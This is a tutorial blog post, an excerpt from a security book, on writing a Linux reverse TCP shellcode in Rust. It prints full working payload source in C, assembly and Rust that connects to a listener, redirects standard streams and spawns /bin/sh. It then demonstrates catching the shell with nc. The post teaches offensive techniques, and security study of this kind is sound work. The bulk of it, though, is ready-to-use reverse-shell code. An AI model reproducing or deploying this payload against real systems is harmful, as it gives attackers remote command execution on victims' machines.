Advanced shellcode in Rust
After seeing how to craft a shellcode in Rust and how to execute it, it's time to build a more advanced shellcode, in Rust too, to understand where a high-level language really shines.
A reverse TCP shellcode establishes a TCP connection to a server, spawns a shell, and forward STDIN, STOUT, and STDERR to the TCP stream. It allows an attacker with a remote exploit to take control of a machine.
This post is an excerpt from my book Black Hat Rust
Here is what it looks like in C:
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
void main() {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(8042);
inet_pton(AF_INET, "127.0.0.1", &sin.sin_addr.s_addr);
connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));
dup2(sock, STDIN_FILENO);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO);
char *argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}
And here is its assembly equivalent, that I found on the internet:
xor rdx, rdx
mov rsi, 1
mov rdi, 2
mov rax, 41
syscall
push 0x0100007f ; 127.0.0.1 == 0x7f000001
mov bx, 0x6a1f ; 8042 = 0x1f6a
push bx
mov bx, 0x2
push bx
mov rsi, rsp
mov rdx, 0x10
mov rdi, rax
push rax
mov rax, 42
syscall
pop rdi
mov rsi, 2
mov rax, 0x21
syscall
dec rsi
mov rax, 0x21
syscall
dec rsi
mov rax, 0x21
syscall
push 0x68732f
push 0x6e69622f
mov rdi, rsp
xor rdx, rdx
push rdx
push rdi
mov rsi, rsp
mov rax, 59
syscall
🤯 🥴
I think I don't need further explanations about why a higher-level language is needed for advanced shellcodes.
Without further ado, let's start to port it to Rust.
First, our constants:
const PORT: u16 = 0x6A1F; // 8042
const IP: u32 = 0x0100007f; // 127.0.0.1
const SYS_DUP2: usize = 33;
const SYS_SOCKET: usize = 41;
const SYS_CONNECT: usize = 42;
const SYS_EXECVE: usize = 59;
const AF_INET: usize = 2;
const SOCK_STREAM: usize = 1;
const IPPROTO_IP: usize = 0;
const STDIN: usize = 0;
const STDOUT: usize = 1;
const STDERR: usize = 2;
Then, the sockaddr_in
struct copied from <netinet/in.h>
:
#[repr(C)]
struct sockaddr_in {
sin_family: u16,
sin_port: u16,
sin_addr: in_addr,
sin_zero: [u8; 8],
}
#[repr(C)]
struct in_addr {
s_addr: u32,
}
And finally, logic of our program, which take some parts of the shell
shellcode.
#[no_mangle]
fn _start() -> ! {
let shell: &str = "/bin/sh\x00";
let argv: [*const &str; 2] = [&shell, core::ptr::null()];
let socket_addr = sockaddr_in {
sin_family: AF_INET as u16,
sin_port: PORT,
sin_addr: in_addr { s_addr: IP },
sin_zero: [0; 8], // initialize an emtpy array
};
let socket_addr_size = core::mem::size_of::<sockaddr_in>();
unsafe {
let socket_fd = syscall3(SYS_SOCKET, AF_INET, SOCK_STREAM, IPPROTO_IP);
syscall3(
SYS_CONNECT,
socket_fd,
&socket_addr as *const sockaddr_in as usize,
socket_addr_size as usize,
);
syscall2(SYS_DUP2, socket_fd, STDIN);
syscall2(SYS_DUP2, socket_fd, STDOUT);
syscall2(SYS_DUP2, socket_fd, STDERR);
syscall3(SYS_EXECVE, shell.as_ptr() as usize, argv.as_ptr() as usize, 0);
};
loop {}
}
Way more digest, isn't it?
Let's try it:
In shell 1:
$ nc -vlnp 8042
Listening on 0.0.0.0 8042
In shell 2:
$ make run_tcp
And Bingo! We have our remote shell.
The code is on GitHub
As usual, you can find the code on GitHub: github.com/skerkour/black-hat-rust
Want to learn more about Rust for Security? Take a look at my book Black Hat Rust.